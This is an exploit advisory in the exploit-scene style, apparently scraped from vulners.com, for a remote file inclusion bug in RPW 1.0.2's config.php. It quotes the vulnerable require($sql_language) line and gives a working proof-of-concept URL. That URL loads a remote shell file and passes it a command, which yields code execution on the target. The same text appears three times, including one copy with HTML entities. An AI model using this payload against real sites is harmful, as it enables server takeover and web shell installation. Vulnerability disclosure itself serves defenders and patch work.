RPW 1.0.2 (config.php sql_language) Remote File Inclusion Vulnerability:

2007-01-2400:00:00

vulners.com

           _________________________________
  ________|                                 |________
  &#92;       |         Dr Max Virus            |       /
   &#92;      |                                 |      /
   /      |_________________________________|      &#92;
  /___________&#41;                         &#40;___________&#92;

Script:RPW
Affected Version:1.0.2
Downlaoad&Victim:http://vlad.tepesch.free.fr/mods/rpw1.0.2.zip

Author:Dr Max Virus

Bug in (config.php)
Vul Code;
require($sql_language);

POC:
http://[target]/[path]/config.php?sql_language=shell.txt?&cmd=0wn3d By Dr
Max Virus;

Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk

JSON

RPW 1.0.2 &#40;config.php sql_language&#41; Remote File Inclusion Vulnerability:

Script:RPW Affected Version:1.0.2 Downlaoad&Victim:http://vlad.tepesch.free.fr/mods/rpw1.0.2.zip

Author:Dr Max Virus

Bug in (config.php) Vul Code; require($sql_language);

POC: http://[target]/[path]/config.php?sql_language=shell.txt?&cmd=0wn3d By Dr Max Virus;

Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk

RPW 1.0.2 (config.php sql_language) Remote File Inclusion Vulnerability:

Script:RPW
Affected Version:1.0.2
Downlaoad&Victim:http://vlad.tepesch.free.fr/mods/rpw1.0.2.zip

Bug in (config.php)
Vul Code;
require($sql_language);

POC:
http://[target]/[path]/config.php?sql_language=shell.txt?&cmd=0wn3d By Dr
Max Virus;

Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk